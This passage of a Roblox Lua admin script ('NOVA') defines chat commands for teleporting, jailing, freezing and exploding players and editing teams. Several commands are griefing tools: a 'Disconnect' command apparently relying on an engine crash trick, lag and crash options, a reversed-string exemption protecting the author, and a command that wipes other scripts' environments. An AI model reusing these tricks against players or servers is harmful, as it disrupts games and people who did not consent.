AddCommand("Respawn","rs",2,"Respawns the selected player.","<Player>",
2415
    function(Msg,Speaker)
2416
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2417
            pcall(function()
2418
                v:LoadCharacter()
2419
            end)
2420
        end
2421
    end
2422
)
2423
 
2424
AddCommand("Commands","cmds",0,"Lists the command.","No Arguments",
2425
    function(Msg,Speaker)    
2426
        RemoveTablets(Speaker)
2427
        local Data = GetRankedTable(Speaker)
2428
        Output("Your current rank is "..GetRankName(Speaker).." ("..GetRank(Speaker)..")",Data.Color,Speaker)
2429
        Output("Click a tablet to see the commands for that rank.",Data.Color,Speaker)
2430
        Output("Get/ Commands",Data.Color,Speaker,nil,
2431
            function()
2432
                RemoveTablets(Speaker)
2433
                for _,v in pairs(NOVA.Commands) do
2434
                    if v.Command:sub(1,3) == "get" then
2435
                        Output(v.Name,Data.Color,Speaker,nil,
2436
                            function()
2437
                                RemoveTablets(Speaker)
2438
                                Output("Name : "..v.Name,Data.Color,Speaker)
2439
                                Output("Rank : "..v.Rank,Data.Color,Speaker)
2440
                                Output("Command : "..v.Command,Data.Color,Speaker)
2441
                                Output("Arguments : "..v.Args,Data.Color,Speaker)
2442
                                Output("Description : "..v.Description,Data.Color,Speaker)
2443
                                Output("Dismiss",NOVA.Colors.Red,Speaker)
2444
                            end
2445
                        )    
2446
                    end
2447
                end
2448
                Output("Dismiss",NOVA.Colors.Red,Speaker)
2449
                Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end)
2450
            end
2451
        )
2452
        for i=0,7 do
2453
 
2454
            Output("Rank "..i.." Commands",Data.Color,Speaker,nil,function()
2455
                RemoveTablets(Speaker)
2456
                for _,v in pairs(NOVA.Commands) do
2457
                    if v.Rank == i then
2458
                        Output(v.Name,Data.Color,Speaker,nil,function()
2459
                            RemoveTablets(Speaker)
2460
                            Output("Name : "..v.Name,Data.Color,Speaker)
2461
                            Output("Rank : "..v.Rank,Data.Color,Speaker)
2462
                            Output("Command : "..v.Command,Data.Color,Speaker)
2463
                            Output("Arguments : "..v.Args,Data.Color,Speaker)
2464
                            Output("Description : "..v.Description,Data.Color,Speaker)
2465
                            Output("Dismiss",NOVA.Colors.Red,Speaker)
2466
                        end)
2467
                    end
2468
                end    
2469
                Output("Dismiss",NOVA.Colors.Red,Speaker)
2470
                Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end)
2471
            end)
2472
        end
2473
        Output("ALL",Data.Color,Speaker,nil,function()
2474
            RemoveTablets(Speaker)
2475
            for _,v in pairs(NOVA.Commands) do
2476
                if GetRank(Speaker) >= v.Rank then
2477
                    Output(v.Name,Data.Color,Speaker,nil,function()
2478
                        RemoveTablets(Speaker)
2479
                        Output("Name : "..v.Name,Data.Color,Speaker)
2480
                        Output("Rank : "..v.Rank,Data.Color,Speaker)
2481
                        Output("Command : "..v.Command,Data.Color,Speaker)
2482
                        Output("Arguments : "..v.Args,Data.Color,Speaker)
2483
                        Output("Description : "..v.Description,Data.Color,Speaker)
2484
                        Output("Dismiss",NOVA.Colors.Red,Speaker)
2485
                    end)
2486
                end
2487
            end
2488
            Output("Dismiss",NOVA.Colors.Red,Speaker)
2489
            Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end)
2490
        end)    
2491
        Output("Dismiss",NOVA.Colors.Red,Speaker)
2492
    end
2493
)
2494
 
2495
AddCommand("Disconnect","disconnect",6,"Disconnects the selected player.","No Arguments",
2496
    function(Msg,Speaker)
2497
        Instance.new("ManualSurfaceJointInstance",workspace)
2498
    end
2499
)
2500
 
2501
AddCommand("Lag","lag",6,"lags the selected player.","<Player>",
2502
    function(Msg,Speaker)
2503
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2504
            if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
2505
                Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
2506
            else
2507
                pcall(function()
2508
                    Lag(v)
2509
                end)
2510
            end
2511
        end
2512
    end
2513
)
2514
 
2515
 
2516
AddCommand("PRI","pri",6,"view the PRI settings.","No Arguments",
2517
    function(Msg,Speaker)
2518
        RemoveTablets(Speaker)
2519
        Output("List","Random",Speaker,nil,
2520
            function()
2521
                RemoveTablets(Speaker)
2522
                for _,v in pairs(NOVA.Ranked) do
2523
                    if v.InPRI == true then
2524
                        OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,v.Color,Speaker,nil,function()
2525
                            RemoveTablets(Speaker)
2526
                            OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2527
                        end)
2528
                    end
2529
                end
2530
                Output("Dismiss",NOVA.Colors.Red,Speaker)
2531
            end
2532
        )
2533
       
2534
        Output("Type","Random",Speaker,nil,
2535
            function()
2536
                RemoveTablets(Speaker)
2537
                Output("Kick",NOVA.Colors.Orange,Speaker,nil,
2538
                    function()
2539
                        NOVA.PRIType = "Kick"
2540
                        RemoveTablets(Speaker)
2541
                        OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2542
                    end
2543
                )
2544
                Output("Lag",NOVA.Colors.Red,Speaker,nil,
2545
                    function()
2546
                        NOVA.PRIType = "Lag"
2547
                        RemoveTablets(Speaker)
2548
                        OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2549
                    end
2550
                )
2551
                Output("Shutdown",NOVA.Colors.Orange,Speaker,nil,
2552
                    function()
2553
                        NOVA.PRIType = "Shutdown"
2554
                        RemoveTablets(Speaker)
2555
                        OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2556
                    end
2557
                )
2558
                Output("Crash",NOVA.Colors.Orange,Speaker,nil,
2559
                    function()
2560
                        NOVA.PRIType = "Crash"
2561
                        RemoveTablets(Speaker)
2562
                        OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2563
                    end
2564
                )
2565
                Output("Dismiss",NOVA.Colors.Red,Speaker)
2566
            end
2567
        )
2568
        Output("Turn PRI On",NOVA.Colors.Red,Speaker,nil,
2569
            function()
2570
                NOVA.PRI = true
2571
                RemoveTablets(Speaker)
2572
                OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2573
            end
2574
        )
2575
       
2576
        Output("Turn PRI Off",NOVA.Colors.Green,Speaker,nil,
2577
            function()
2578
                NOVA.PRI = false
2579
                RemoveTablets(Speaker)
2580
                OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2581
            end
2582
        )
2583
       
2584
        Output("Dismiss",NOVA.Colors.Red,Speaker)
2585
    end
2586
)
2587
 
2588
--[[ GET COMMANDS ]]--
2589
 
2590
AddCommand("Get Ranked","getranked",0,"Displays all the current players ranks.","No Arguments",
2591
    function(Msg,Speaker)
2592
        if #Msg == 0 or Msg == nil then
2593
            RemoveTablets(Speaker)
2594
            for _,v in pairs(NOVA.Ranks) do
2595
                local RankNumber = v[1]
2596
                local RankName = v[2]
2597
                Output(RankName.." ("..(RankNumber)..")",Color3.new((RankNumber)/10,(RankNumber)/10,(RankNumber)/10),Speaker,nil,
2598
                    function()
2599
                        RemoveTablets(Speaker)
2600
                        for _,v in pairs(GetPlayersRaw()) do
2601
                            if GetRank(v) == RankNumber then
2602
                                OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,GetRankedTable(v).Color,Speaker,nil,
2603
                                    function()
2604
                                        PlayerInterface(v,Speaker)
2605
                                    end
2606
                                )
2607
                            end
2608
                        end
2609
                        Output("Done",NOVA.Colors.Blue,Speaker,nil,
2610
                            function()
2611
                                OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker)
2612
                            end
2613
                        )
2614
                        Output("Dismiss",NOVA.Colors.Red,Speaker)
2615
                    end
2616
                )
2617
            end
2618
            Output("ALL",NOVA.Colors.Blue,Speaker,nil,
2619
                function()
2620
                    RemoveTablets(Speaker)
2621
                   
2622
                    for _,v in pairs(GetPlayersRaw()) do
2623
                        OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,GetRankedTable(v).Color,Speaker,nil,
2624
                            function()
2625
                                PlayerInterface(v,Speaker)
2626
                            end
2627
                        )
2628
                    end
2629
 
2630
                    Output("Done",NOVA.Colors.Blue,Speaker,nil,
2631
                        function()
2632
                            OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker)
2633
                        end
2634
                    )
2635
                    Output("Dismiss",NOVA.Colors.Red,Speaker)
2636
                end
2637
            )    
2638
            Output("Dismiss",NOVA.Colors.Red,Speaker)
2639
        else
2640
            PlayerInterface(GetPlayers(Msg,Speaker)[1],Speaker)
2641
        end
2642
    end
2643
)
2644
 
2645
AddCommand("Set Description","setdesc",6,"Sets the selected player's description.","<Player><Description>",
2646
    function(Msg,Speaker)
2647
        Split = GetSplit(Msg)
2648
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
2649
            GetRankedTable(v).Desc = Msg:sub(Split+1)
2650
            SyncRankOutSingular(v)
2651
        end
2652
    end
2653
)
2654
 
2655
AddCommand("Get CMD","getcmd",0,"Toggles the CMD bar on your screen.","<BoolValue>",
2656
    function(Msg,Speaker)
2657
        if Msg == "true" then
2658
            GetRankedTable(Speaker).CMD = true
2659
        elseif Msg == "false" then
2660
            GetRankedTable(Speaker).CMD = false
2661
            pcall(function() Speaker.PlayerGui:FindFirstChild("NOVACMD"):Remove() end)
2662
        else Output("Please choose a proper bool value. ( true / false )",NOVA.Colors.Orange,Speaker,5)
2663
        end
2664
        SyncRankOutSingular(Speaker)
2665
    end
2666
)
2667
 
2668
AddCommand("Get Build Tools","getbtools",1,"Gives the speaker building tools.","No Arguments",
2669
    function(Msg,Speaker)
2670
        pcall(function()
2671
            for i=1,4 do
2672
                Instance.new("HopperBin",Speaker.Backpack).BinType = i
2673
            end
2674
        end)
2675
    end
2676
)
2677
 
2678
AddCommand("Get Reset","getreset",0,"Resets the speaker's character.","No Arguments",
2679
    function(Msg,Speaker)
2680
        pcall(function()
2681
            Speaker:LoadCharacter()
2682
        end)
2683
    end
2684
)
2685
 
2686
AddCommand("Get Fixed Character Appearance","get/fixchar",0,"Fixes the Speaker's character appearance.","No Arguments",
2687
    function(Msg,Speaker)
2688
        Speaker.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Speaker.userId
2689
    end
2690
)
2691
 
2692
AddCommand("Give Build Tools","givebtools",1,"Gives the selected player building tools.","<Player>",
2693
    function(Msg,Speaker)
2694
        pcall(function()
2695
            for _,v in pairs(GetPlayers(Msg,Speaker)) do
2696
                for i=1,4 do
2697
                    Instance.new("HopperBin",Speaker.Backpack).BinType = i
2698
                end
2699
            end
2700
        end)
2701
    end
2702
)
2703
 
2704
AddCommand("Set Rank","setrank",0,"Allows you to change the rank of others.","<Player><Rank>",
2705
    function(Msg,Speaker)
2706
        local Split = GetSplit(Msg)
2707
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
2708
            if GetRank(Speaker) > GetRank(v) then
2709
                if tonumber(Msg:sub(Split+1)) > GetRank(Speaker) then
2710
                    Output("You cannot set a rank that high.",NOVA.Colors.Orange,Speaker,5)
2711
                else
2712
                    GetRankedTable(v).Rank = tonumber(Msg:sub(Split+1))
2713
                    SyncRankOutSingular(v)
2714
                end
2715
            end
2716
        end
2717
    end
2718
)
2719
 
2720
AddCommand("Teleport","tp",2,"Teleports one player to another.","<Player><Player>",
2721
    function(Msg,Speaker)
2722
 
2723
        Split = GetSplit(Msg)              
2724
        send  = GetPlayers(string.sub(Msg,1,Split - 1),Speaker)
2725
        to = GetPlayers(string.sub(Msg,Split+1),Speaker)
2726
        for _,a in pairs(send) do
2727
            for _,b in pairs(to) do
2728
                pcall(function()
2729
                    a.Character.Torso.CFrame = b.Character.Torso.CFrame
2730
                end)
2731
            end
2732
        end
2733
       
2734
    end
2735
)
2736
 
2737
AddCommand("Circle Teleport","ctp",2,"Teleports one player to another.","<Player><Player>",
2738
    function(Msg,Speaker)
2739
 
2740
        Split = GetSplit(Msg)          
2741
        send  = GetPlayers(string.sub(Msg,1,Split - 1),Speaker)
2742
        to = GetPlayers(string.sub(Msg,Split+1),Speaker)[1]
2743
        for i, player in pairs(send) do
2744
            pcall(function()
2745
                player.Character.Torso.CFrame = CFrame.new(to.Character.Torso.Position)
2746
                * CFrame.Angles(0, math.rad(i * 360 / #send), 0)
2747
                * CFrame.new(0, 0, 3 + (#send*2) )
2748
            end)
2749
        end
2750
    end
2751
)
2752
 
2753
AddCommand("Walkspeed","ws",2,"Sets the selected player walkspeed to the following number.","<Player><Number>",
2754
    function(Msg,Speaker)
2755
        Split = GetSplit(Msg)                
2756
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
2757
            pcall(function() v.Character.Humanoid.WalkSpeed = tonumber(Msg:sub(Split+1)) end)
2758
        end
2759
    end
2760
)
2761
 
2762
AddCommand("Explode","expl",2,"Explodes the selected player.","<Player>",
2763
    function(Msg,Speaker)
2764
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2765
            pcall(function()
2766
                v.Character:BreakJoints()
2767
                E = Instance.new("Explosion",NOVA.Services.Workspace)
2768
                E.Position = v.Character.Torso.Position
2769
                E.BlastPressure = 124000
2770
            end)
2771
        end
2772
    end
2773
)
2774
 
2775
AddCommand("Infinite Health","inf",2,"Sets the selected player health to math.huge.","<Player>",
2776
    function(Msg,Speaker)
2777
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2778
            pcall(function()
2779
                v.Character.Humanoid.MaxHealth = math.huge
2780
            end)
2781
        end
2782
    end
2783
)
2784
 
2785
AddCommand("God","god",2,"makes the selected player god.","<Player>",
2786
    function(Msg,Speaker)
2787
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2788
            pcall(function()
2789
                v.Character.Torso.Touched:connect(function(part)
2790
                    if not part:IsDescendantOf(v.Character) and not part.Anchored == true and part ~= Crown then
2791
                        part.CanCollide = true
2792
                        part:BreakJoints()
2793
                        for i=1,3 do Instance.new("Fire",part).Color = Color3.new(255,255,255) end
2794
                    end
2795
                end)
2796
            end)
2797
        end
2798
    end
2799
)
2800
 
2801
AddCommand("Punish","punish",2,"Reparents the selected player's character parent lighting.","<Player>",
2802
    function(Msg,Speaker)
2803
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2804
            pcall(function()
2805
                v.Character.Parent = NOVA.Services.Lighting
2806
            end)
2807
        end
2808
    end
2809
)
2810
 
2811
AddCommand("Un Punish","unpunish",2,"Reparents the selected player's character parent workspace.","<Player>",
2812
    function(Msg,Speaker)
2813
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2814
            pcall(function()
2815
                v.Character.Parent = NOVA.Services.Workspace
2816
                v.Character:MakeJoints()
2817
                pcall(function() v.Character.Animate.Disabled = false end)
2818
            end)
2819
        end
2820
    end
2821
)
2822
 
2823
AddCommand("Freeze","freeze",2,"Anchor the selected player('s/s') character('s).","<Player>",
2824
    function(Msg,Speaker)
2825
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2826
            pcall(function()
2827
                for _,part in pairs(v.Character:GetChildren()) do
2828
                    pcall(function()
2829
                        part.Anchored = true
2830
                    end)
2831
                end
2832
            end)
2833
        end
2834
    end
2835
)
2836
 
2837
AddCommand("Thaw","thaw",2,"Un anchor the selected player('s/s') character('s).","<Player>",
2838
    function(Msg,Speaker)
2839
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2840
            pcall(function()
2841
                for _,part in pairs(v.Character:GetChildren()) do
2842
                    pcall(function()
2843
                        part.Anchored = false
2844
                    end)
2845
                end
2846
            end)
2847
        end
2848
    end
2849
)
2850
 
2851
AddCommand("Remove Tools","rtools",2,"Removes the selected player tools.","<Player>",
2852
    function(Msg,Speaker)
2853
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2854
            pcall(function()
2855
                for _,part in pairs(v.Backpack:GetChildren()) do
2856
                    part:Destroy()
2857
                end
2858
            end)
2859
        end
2860
    end
2861
)
2862
 
2863
AddCommand("Remove Backpack","rbp",2,"Removes the selected player backpack.","<Player>",
2864
    function(Msg,Speaker)
2865
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2866
            pcall(function()
2867
                v.Backpack:Destroy()
2868
            end)
2869
        end
2870
    end
2871
)
2872
 
2873
AddCommand("Sit","sit",2,"Makes the selected player sit down.","<Player>",
2874
    function(Msg,Speaker)
2875
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2876
            pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end)
2877
            pcall(function() v.Character.Humanoid.Sit = true end)
2878
        end
2879
    end
2880
)
2881
 
2882
AddCommand("Stand","stand",2,"Makes the selected player stand up.","<Player>",
2883
    function(Msg,Speaker)
2884
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2885
            pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end)
2886
            pcall(function() v.Character.Humanoid.Sit = false end)
2887
        end
2888
    end
2889
)
2890
 
2891
AddCommand("Jump","jump",2,"Makes the selected player jump.","<Player>",
2892
    function(Msg,Speaker)
2893
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2894
            pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end)
2895
            pcall(function() v.Character.Humanoid.Jump = true end)
2896
        end
2897
    end
2898
)
2899
 
2900
AddCommand("Control","control",2,"Controls the selected player","<Player>",
2901
    function(Msg,Speaker)
2902
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2903
            pcall(function()
2904
                Speaker.Character = v.Character
2905
            end)
2906
        end
2907
    end
2908
)
2909
 
2910
AddCommand("Transparent","trans",2,"Makes the selected player transparent","<Player>",
2911
    function(Msg,Speaker)
2912
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2913
            pcall(function()
2914
                for _,v in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
2915
                    coroutine.resume(coroutine.create(function()
2916
                        for i=1,10  do
2917
                            wait()
2918
                            v.Transparency = v.Transparency + 0.1
2919
                        end
2920
                    end))
2921
                end
2922
            end)
2923
        end
2924
    end
2925
)
2926
 
2927
AddCommand("Visible","visible",2,"Makes the selected player visible.","<Player>",
2928
    function(Msg,Speaker)
2929
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2930
            pcall(function()
2931
                for _,v in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
2932
                    coroutine.resume(coroutine.create(function()
2933
                        for i=1,10  do
2934
                            wait()
2935
                            v.Transparency = v.Transparency - 0.1
2936
                        end
2937
                    end))
2938
                end
2939
            end)
2940
        end
2941
    end    
2942
)
2943
 
2944
AddCommand("Remove Hats","rhats",2,"Remove the hat of the selected player.","<Player>",
2945
    function(Msg,Speaker)
2946
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2947
            pcall(function()
2948
                for _,part in pairs(v.Character:GetChildren()) do if part:IsA("Hat") then part:Remove() end end
2949
            end)
2950
        end
2951
    end
2952
)
2953
 
2954
AddCommand("Remove Humanoid","rhum",2,"Remove the humanoid of the selected player.","<Player>",
2955
    function(Msg,Speaker)
2956
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2957
            pcall(function()
2958
                for _,part in pairs(v.Character:GetChildren()) do if part:IsA("Humanoid") then part:Remove() end end
2959
            end)
2960
        end
2961
    end
2962
)
2963
 
2964
AddCommand("Jail","jail",2,"Puts the selected player in jail.","<Player>",
2965
    function(Msg,Speaker)
2966
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2967
            pcall(function()
2968
                coroutine.resume(coroutine.create(function()
2969
                    local MainCF = v.Character.Torso.CFrame
2970
                    local Main = Instance.new("Model",workspace)
2971
                    Main.Name = "Main"
2972
                    table.insert(NOVA.Jails,{Jail = Main, Player = v,Speaker = Speaker})
2973
                    for Pitch = 1, 360, 360 do
2974
                        for Yaw = 1, 360, 360/13 do
2975
                            for Angle = 1,180, 8 do
2976
                                local Part = Instance.new("Part",Main)
2977
                                Part.Name = "Part"
2978
                                Part.FormFactor = "Custom"
2979
                                Part.TopSurface = "Smooth"
2980
                                Part.BottomSurface = "Smooth"
2981
                                Part.Reflectance = 0
2982
                                Part.Transparency = 0
2983
                                Part.Anchored = true
2984
                                Part.Locked = true
2985
                                Part.CanCollide = true
2986
                                Part.BrickColor = BrickColor.new("Navy blue")
2987
                                Part.Size = Vector3.new(2,1,4)
2988
                                Part.CFrame = MainCF
2989
                                    * CFrame.Angles(math.rad(Pitch),math.rad(Yaw),math.rad(Angle))
2990
                                    * CFrame.new(0,5,0)
2991
                                local Mesh = Instance.new("BlockMesh",Part)
2992
                                Mesh.Scale = Vector3.new(1,1,0.1)
2993
                                if math.floor(Angle/5) == Angle/5 then
2994
                                    wait()
2995
                                end
2996
                            end
2997
                        end
2998
                    end
2999
                   
3000
                    v.Character.Torso.CFrame = MainCF
3001
                   
3002
                    while Main.Parent ~= nil do
3003
                        wait()
3004
                        pcall(function()
3005
                            if (v.Character.Torso.CFrame.p - MainCF.p).magnitude > 6 then
3006
                                v.Character.Torso.CFrame = MainCF
3007
                            end
3008
                        end)
3009
                    end
3010
                end))
3011
            end)
3012
        end
3013
    end
3014
)
3015
 
3016
AddCommand("Un Jail","unjail",2,"Un jails the selected player.","<Player>",
3017
    function(Msg,Speaker)
3018
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3019
            for Num,Jail in pairs(NOVA.Jails) do
3020
                if Jail.Player ~= nil and Jail.Player == v then
3021
                    pcall(function() Jail.Jail:Destroy() end)
3022
                    table.remove(NOVA.Jails,Num)
3023
                end
3024
            end
3025
        end
3026
    end
3027
)
3028
 
3029
AddCommand("NOVA Clear","NOVA",6,"Clears the game.","No Arguments",
3030
    function(Msg,Speaker)
3031
        for i,v in pairs(_G) do
3032
            if type(v) == "function" and getfenv(v).NOVA == nil then
3033
                for var,val in pairs(getfenv(v)) do
3034
                    pcall(function() getfenv(v)[var] = nil end)
3035
                end
3036
            end
3037
        end
3038
        for i,v in pairs(_G) do
3039
            _G[i] = nil
3040
        end
3041
        SetGlobals()
3042
        for _,v in pairs(NOVA.Services) do
3043
            v.Name = "Unknown Exception"
3044
        end    
3045
        for i,v in pairs(GetRecursiveChildren()) do
3046
            pcall(function()
3047
                if not v:IsA("Player") then
3048
                    pcall(function()
3049
                        if Prometheus ~= nil and v == Prometheus.script("lushmylife") then
3050
                        else
3051
                            pcall(function()
3052
                                v.Disabled = true
3053
                            end)
3054
                            pcall(function()
3055
                                NOVA.Services.Debris:AddItem(v,0)
3056
                            end)
3057
                        end
3058
                    end)
3059
                end
3060
            end)
3061
        end
3062
        for _,v in pairs(NOVA.Services) do    
3063
            v.Name = v.className
3064
        end
3065
        local Base=Instance.new("Part",NOVA.Services.Workspace)
3066
        Base.Name="Base"
3067
        Base.Size=Vector3.new(2048,1,2048)
3068
        Base.BrickColor=BrickColor.new("Bright green")
3069
        Base.Anchored=true
3070
        Base.Locked=true
3071
        Base.TopSurface="Smooth"
3072
        Base.Transparency = 1
3073
        Base.CFrame=CFrame.new(Vector3.new(0,0,0))
3074
        local Spawn=Instance.new("SpawnLocation",NOVA.Services.Workspace) Spawn.Name="SpawnLocation"
3075
        Spawn.Size=Vector3.new(6,1,6)
3076
        Spawn.Transparency=1
3077
        Spawn.CanCollide=false
3078
        Spawn.Anchored=true
3079
        Spawn.Locked=true
3080
        Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))
3081
        for _,v in pairs(GetPlayersRaw()) do v:LoadCharacter() end
3082
    end
3083
)
3084
 
3085
AddCommand("ChangeTeam","changeteam",3,"Change the current team of the selected player.","<Player><TeamName>",
3086
    function (Msg,Speaker)
3087
        Split = GetSplit(Msg)
3088
        for _,v in pairs(GetPlayers(string.sub(Msg,1,Split - 1),Speaker)) do
3089
            pcall(function()
3090
                Team = nil
3091
                for _,find in pairs(NOVA.Services.Teams:GetChildren()) do
3092
                    if string.sub(find.Name:lower(),1,#string.sub(Msg,Split+1)) == string.lower(string.sub(Msg,Split+1)) then
3093
                        Team = find
3094
                    end
3095
                end
3096
                v.TeamColor = Team.TeamColor
3097
            end)
3098
        end
3099
    end
3100
)
3101
 
3102
AddCommand("Teams Remove","rteam",6,"Part of teams commands.","No Arguments",
3103
    function(Msg,Speaker)
3104
        RemoveTablets(Speaker)
3105
        for _,v in pairs(NOVA.Services.Teams:GetChildren()) do
3106
            if string.sub(v.Name:lower(),1,#Msg) == Msg:lower() then
3107
                v:Remove()
3108
            end
3109
        end
3110
    end
3111
)
3112
 
3113
AddCommand("Teams Add","newteam",6,"Part of teams commands.","<Name>",
3114
    function(Msg,Speaker)
3115
        Split = GetSplit(Msg)
3116
        Team = Instance.new("Team",NOVA.Services.Teams)
3117
        Team.TeamColor = BrickColor.new(Msg:sub(Split+1))
3118
        Team.Name = Msg:sub(1,Split-1)
3119
        Team.AutoAssignable = false
3120
        Team.Neutral = false
3121
    end
3122
)
3123
 
3124
AddCommand("Kill Talk","killtalk",6,"Kills the selected player when they talk.","<Players>",
3125
    function(Msg,Speaker)
3126
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3127
            v.Chatted:connect(function() pcall(function() v.Character:BreakJoints() end) end)
3128
        end
3129
    end
3130
)
3131
 
3132
AddCommand("Hoverseat","hoverseat",7,"Gives that player a hoverseat","<Players>",
3133
    function(Msg,Speaker)
3134
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3135
       
3136
                        local ride = Instance.new("VehicleSeat", Workspace)
3137
                        ride.Position = v.Character.Torso.Position
3138
                        ride.HeadsUpDisplay = false
3139
                        ride.Size = Vector3.new(3,3,3)
3140
                        local bg = Instance.new("BodyGyro", ride)
3141
                        bg.maxTorque = Vector3.new(1e10,1e10,1e10)
3142
                        local bp = Instance.new("BodyPosition", ride)
3143
                        bp.position = v.Character.Torso.Position
3144
                        bp.maxForce = Vector3.new(1e10,1e10,1e10)
3145
                        Mesh = Instance.new("SpecialMesh")
3146
                        Mesh.Parent = ride
3147
                        Mesh.MeshType = Enum.MeshType.Sphere
3148
                        ride.Transparency = 0.40000000596046
3149
 
3150
                        while wait() do
3151
                            bg.cframe = bg.cframe * CFrame.Angles(0,math.pi/60*(-ride.Steer),0)
3152
                            bp.position = bp.position + bg.cframe.lookVector*ride.Throttle
3153
                        end
3154
                       
3155
        end
3156
    end
3157
)
3158
 
3159
 
3160
 
3161
AddCommand("Kick Talk","kicktalk",6,"Kicks the player when they talk.","<Players>",
3162
    function(Msg,Speaker)
3163
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3164
            v.Chatted:connect(function() pcall(function() v:Destroy() end) end)
3165
        end
3166
    end
3167
)
3168
 
3169
AddCommand("Clear","clear",2,"Clears the workspace of its contents.","No Arguments",
3170
    function(Msg,Speaker)
3171
        for _,v in pairs(GetRecursiveChildren(NOVA.Services.Workspace)) do
3172
            if Prometheus ~= nil then
3173
                if v ~= Prometheus.script("lushmylife") then
3174
                    pcall(function()
3175
                        v:Destroy()
3176
                    end)
3177
                end
3178
            else
3179
                pcall(function()
3180
                    v:Destroy()
3181
                end)
3182
            end
3183
        end    
3184
       
3185
        local Base=Instance.new("Part",NOVA.Services.Workspace)
3186
        Base.Name="Base"
3187
        Base.Size=Vector3.new(2048,1,2048)
3188
        Base.BrickColor=BrickColor.new("Dark green")
3189
        Base.Anchored=true
3190
        Base.Locked=true
3191
        Base.TopSurface="Studs"
3192
        Base.Transparency = 0
3193
        Base.CFrame=CFrame.new(Vector3.new(0,0,0))
3194
        local Spawn=Instance.new("SpawnLocation",NOVA.Services.Workspace) Spawn.Name="SpawnLocation"
3195
        Spawn.Size=Vector3.new(6,1,6)
3196
        Spawn.Transparency=1
3197
        Spawn.CanCollide=false
3198
        Spawn.Anchored=true
3199
        Spawn.Locked=true
3200
        Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))        
3201
        for _,v in pairs(GetPlayersRaw()) do
3202
            v:LoadCharacter()
3203
        end
3204
   
3205
    end
3206
)
3207
 
3208
AddCommand("Explorer","explorer",6,"Lists the children of workspace.","No Arguments",
3209
    function(Msg,Speaker)
3210
        RemoveTablets(Speaker)
3211
        Explore(game,Speaker)
3212
    end
3213
)
3214
 
3215
AddCommand("Lock Scripts","lockscripts",6,"Lets you toggle the script lock.","No Arguments",
3216
    function(Msg,Speaker)
3217
        if NOVA.LockedScripts == true then
3218
            NOVA.LockedScripts = false
3219
        elseif NOVA.LockedScripts == false then
3220
            NOVA.LockedScripts = true
3221
        end
3222
       
3223
    end
3224
)
3225
 
3226
AddCommand("Troll Explode","trollexpl",3,"Explodes the selected player in a group of trolls.","<Players>",
3227
    function(Msg,Speaker)
3228
        for _,v in pairs(GetPlayers(Msg,Speaker)) do    
3229
            for i=1,25 do
3230
                coroutine.resume(coroutine.create(function()
3231
                    wait()
3232
                    local Part = Instance.new("Part",NOVA.Services.Workspace)
3233
                    Part.FormFactor = "Custom"
3234
                    Part.Transparency = 1
3235
                    Part.CanCollide = false
3236
                    Part.Anchored = false
3237
                    Part.Locked = true
3238
                    Part.Size = Vector3.new(1,1,1)
3239
                    Part.CFrame = v.Character.Head.CFrame
3240
                    Part:BreakJoints()
3241
                   
3242
                    local BBG = Instance.new("BillboardGui",Part)
3243
